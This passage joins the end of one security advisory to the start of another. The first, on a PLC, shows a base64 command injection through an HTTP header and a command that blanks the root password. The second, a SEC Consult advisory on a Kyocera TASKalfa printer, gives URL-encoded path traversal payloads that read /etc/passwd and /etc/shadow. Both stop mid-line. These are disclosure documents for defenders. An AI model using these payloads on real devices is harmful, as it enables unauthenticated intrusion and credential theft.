on the device. This works by setting malicious parameters and starting
an Ethernet package capture.

3) Hard-coded Root Password (CVE-2023-33920)
The PLC contains a hard-coded "root" user password hash. This
password hash is the same on all devices. If the corresponding
password is known, it could be used to login via UART and SSH.

4) Console Login via UART (CVE-2023-33921)
The UART interface can be accessed with physical access to the PCB.
After connecting to the interface, boot information is given and a
login prompt is provided. Login as "root" user is possible after
changing the hard-coded "root" password hash (see 1,2, and 3).


Proof of concept:
-
1) Unauthenticated Remote Code Execution (CVE-2023-28489)
To exploit this vulnerability, an HTTP request including the command
must be crafted. No "/" characters can be used, therefore commands
are encoded as base64, e.g., "id" as "aWQ=". The command must be
provided as UPLOADFILENAME header. A full command looks as follows:

;echo aWQ=| base64 -d | sh #

The following header format must be obeyed:
* User-Agent: SICAM TOOLBOX II
* Session-ID: [ARBITRARY 16 CHARACTERS]
* UPLOADFILENAME: [COMMAND]

Additionally, the request body must contain the following POST parameters:
* type=20
* length=[ARBITRARY]
* data=[ARBITRARY]

A valid request can be seen below:
---
[ POC request removed ]
---

If it worked, the response body will be "type=21". Additionally, the
output on the UART interface indicates code execution as root user:
---
base64: /ies/IN/_: No such file or directory
uid=0(root) gid=0(root)
---

Subsequently, the SSH port can be opened by sending the following
commands separately and encoded as base64 string. They will replace
the set default root password hash with an empty password hash,
reconfigure the Dropbear SSH daemon and stop the firewall:
---
sed -i
s'/:$6$jNY7stPOMCNi$bMqOCQX0ClFK3PyNPUyDvuF2xKOJ8j00v79.wXGV0BG7cxKc8aCo\/FWtDljQjCb

[FD] SEC Consult SA-20230705-0 :: Path traversal bypass & Denial of service in Kyocera TASKalfa 4053ci printer

2023-07-07 Thread SEC Consult Vulnerability Lab, Research via Fulldisclosure
SEC Consult Vulnerability Lab Security Advisory < 20230705-0 >
===
   title: Path traversal bypass & Denial of service
 product: Kyocera TASKalfa 4053ci printer
  vulnerable version: TASKalfa 4053ci Version <= 2VG_S000.002.561
   fixed version: 2VG_S000.002.574
 CVE numbers: CVE-2023-34259, CVE-2023-34260, CVE-2023-34261
  impact: High
homepage: https://global.kyocera.com
   found: 2022-12-13
  by: Stefan Michlits (Office Vienna)
  Gorazd Jank (Office Vienna)
  SEC Consult Vulnerability Lab

  An integrated part of SEC Consult, an Eviden business
  Europe | Asia

  https://www.sec-consult.com

===

Vendor description:
---
"Kyocera Document Solutions is leading the digital shift driving productivity
and growth in the printing industry. We offer a range of exciting new options
that draw on the combined resources of the Kyocera Group."

Source: https://www.kyoceradocumentsolutions.com/en/our-business/inkjet/


Business recommendation:

SEC Consult recommends Kyocera customers to install the latest updates.

Furthermore, an in-depth security analysis performed by security professionals
is highly advised, as the software may be affected from other security issues.


Vulnerability overview/description:
---
1) Path Traversal - Bypass (CVE-2023-34259)
A path traversal vulnerability was found by Hakan Eren ŞAN in 2020-06-06.
The previous exploit can be found at: https://www.exploit-db.com/exploits/48561
Kyocera has fixed the vulnerability. It was not possible to access arbitrary
files using the public exploit. However, SEC Consult have found a bypass to
exploit this vulnerability again and access arbitrary files. Due to the fact
that the web service is running as the user root, it was possible to access all
files (e.g. /etc/shadow) on the device.

2) Denial-of-Service - Web Interface (CVE-2023-34260)
The denial-of-service vulnerability is related to the path traversal
vulnerability. Instead of requesting a file, a directory will be requested.
Once the request is sent to the web service running on TCP port 443, the web
service will become unresponsive and must be restarted.

3) User Enumeration (CVE-2023-34261)
The login function on the web service running on TCP port 443 is prone to a
user enumeration vulnerability. The login function will return different
responses, whether the username is valid or not.


Proof of concept:
-
1) Path Traversal - Bypass (CVE-2023-34259)
Previously, a security researcher has discovered an unauthenticated directory
traversal vulnerability in the web service running on port 443. The following
payload was used to access arbitrary files:

https://IP/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm

This vulnerability is fixed in the current version. It was not possible to
access arbitrary files using the above payload. However, the vulnerability was
not fixed correctly. SEC Consult identified a bypass to exploit this
vulnerability again.

Once the ../ sequences will be URL encoded, it is possible to bypass the fix
and access arbitrary files. The following payload can be used to access the
file /etc/passwd:

https://IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm

The response containing the contents of the file /etc/passwd can be seen
in the following paragraph.
---
HTTP/1.1 200 OK
Content-Length: 770
Accept-Encoding: identity
Server: KM-MFP-http/V0.0.1
Content-Type: text/html
X-Frame-Options: SAMEORIGIN

root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
sshd:x:100:1000:Linux User,,,:/var/run/sshd:/bin/false
---

Also, it was possible to access the file /etc/shadow. The following payload can
be used:

https://IP/wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%